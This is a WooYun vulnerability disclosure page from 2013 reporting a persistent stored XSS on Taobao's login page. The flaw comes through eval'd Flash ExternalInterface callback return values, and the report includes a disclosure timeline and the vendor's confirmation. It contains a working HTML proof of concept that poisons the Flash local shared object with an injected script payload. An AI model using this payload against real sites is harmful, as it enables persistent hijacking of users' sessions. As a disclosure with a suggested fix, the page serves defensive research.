当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-039481

漏洞标题:一个flash的0day导致的淘宝网存储xss(可形成永久后门)

相关厂商:淘宝网

漏洞作者: neobyte

提交时间:2013-10-12 13:00

修复时间:2013-11-26 13:01

公开时间:2013-11-26 13:01

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-12: 细节已通知厂商并且等待厂商处理中
2013-10-12: 厂商已经确认,细节仅向厂商公开
2013-10-22: 细节向核心白帽子及相关领域专家公开
2013-11-01: 细节向普通白帽子公开
2013-11-11: 细节向实习白帽子公开
2013-11-26: 细节向公众公开

简要描述:

淘宝的存储XSS,其实是利用了flash的0day,但预计很多网站都受影响...

详细说明:

关于flash的XSS,除了常见的一些技巧外,目前已知的比较偏门的两类是:
1.ExternalInterface.call的第二个参数,主要利用\",catch(e){}//,wooyun上有很多例子
2.在IE下,当flash调用ExternalInterface.addCallback时,如果object的id可控.
但需要注意的是:当js调用flash暴露出来的callback时,返回值也是一个敏感点!这个在wooyun上并没有看到有人提及,也许被很多人忽视了.
首先来看看js是如何处理flash的callback的:
1.在ie下,其实是

eval(instance.CallFunction("<invoke name=\""+name+"\" returntype=\"javascript\">" + __flash__argumentsToXML(arguments,0) + "</invoke>"));


2.在FF与Chrome等其他浏览器下,其实是

eval(var __flash_temp = "returned value"; __flash_temp;)


注意到这里都调用了eval,再结合ExternalInterface.call的那个0 day, 利用方式也就呼之欲出了.
所以只要js中调用了callback函数,而返回值又可被攻击者控制的话,就可以造成xss. IE, Chrome, FF等浏览器均受影响.
一般的,如果你利用js来读取flash的LSO的话,那么就很有可能中招. 注意不管你是否在js里是否对过滤读取出的数据,也不管你读取出数据后是否用于DOM操作,仅仅读取这个动作就会触发XSS.
实例:
https://login.taobao.com
这个页面自动加载一个JSocket.swf,这个flash会添加二个callback函数,分别是getlso与setlso.
如果用户访问某个恶意站点的过程中其LSO被篡改,那么当其以后访问login.taobao.com时就触发xss. 由于LSO是持久的,所以利用这个xss劫持用户也是可能的.
下面是POC(渣代码见谅),访问这个html后再访问login.taobao.com就会触发XSS

<html>
<body>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf">
<param name="allowScriptAccess" value="always">
<embed name="JSocket" src="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function set(){document['JSocket'].setlso('aa\\";alert(document.domain);//aa');}
setTimeout("set()",5000);
</script>
</body>
</html>


漏洞证明:

1. Chrome下

chrome.png


2. IE下,顺便验证一下domain

IE.png

修复方案:

怎么检查ExternalInterface.call的输入参数,就怎么处理callback的返回值吧

版权声明:转载请注明来源 neobyte@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-10-12 16:44

厂商回复:

感谢你对我们的支持与关注,该问题我们正在修复~~

最新状态:

暂无